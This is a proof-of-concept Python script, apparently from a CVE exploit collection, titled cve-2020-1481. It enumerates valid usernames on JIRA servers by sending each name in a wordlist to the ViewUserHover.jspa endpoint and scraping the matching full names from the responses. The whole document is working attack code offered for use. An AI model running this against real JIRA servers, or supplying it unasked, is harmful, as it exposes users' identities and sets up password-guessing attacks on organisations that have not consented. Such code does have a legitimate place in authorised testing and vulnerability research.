4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / cve-2020-1481.py PY
import argparse, requests, re, sys

def get_arguments():
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--url", dest="url", help="url to vulnerable JIRA server", type=str)
    parser.add_argument("-w", "--wordlist", dest="wordlist", help="wordlist with usernames to test")
    parser.add_argument("-o", "--output-file", dest="output", help="output file for results, if none specified it outputs to console")
    args = parser.parse_args()
    if not args.url:
        parser.error("Please specify a vulnerable JIRA server")
    if not args.wordlist:
        parser.error("[-] Please Specify a wordlist containing usernames")
    if args.output:
        global bool_outputfile
        bool_outputfile = True
    return args

def show_banner():
    print("""\n
 +-+-+-+-+ +-+-+-+-+-+-+-+-+ +-+-+-+-+-+-+-+-+-+
 |J|I|R|A| |U|s|e|r|n|a|m|e| |V|a|l|i|d|a|t|o|r|
 +-+-+-+-+ +-+-+-+-+-+-+-+-+ +-+-+-+-+-+-+-+-+-+
 made by rival23\n
    """)

def show_arguments(options):
    wordlist = options.wordlist 
    print("vulnurl = " + options.url)
    print("wordlist = " + wordlist)
    print("")

def exploit(options):
    f = open(options.wordlist, "r")
    for username in f:
        r = requests.get(options.url + username.strip('\n'))
        pattern = re.compile('<a id="avatar-full-name-link" title=".*" href=".*\n(.*)')
        test = pattern.findall(r.text)
        if test:
            if bool_outputfile == True:
                f2 = open(options.output, "a")
                f2.write(test.pop().lstrip() + ":" + username.strip('\n') + "\n")
            else:
                print(test.pop().lstrip() + ":" + username.strip('\n'), file=sys.stderr)

if __name__ == "__main__":
    bool_outputfile = False
    options = get_arguments()
    options.url = options.url + "/secure/ViewUserHover.jspa?username="
    show_banner()
    show_arguments(options)
    exploit(options)
    print("[+] exploit completed.")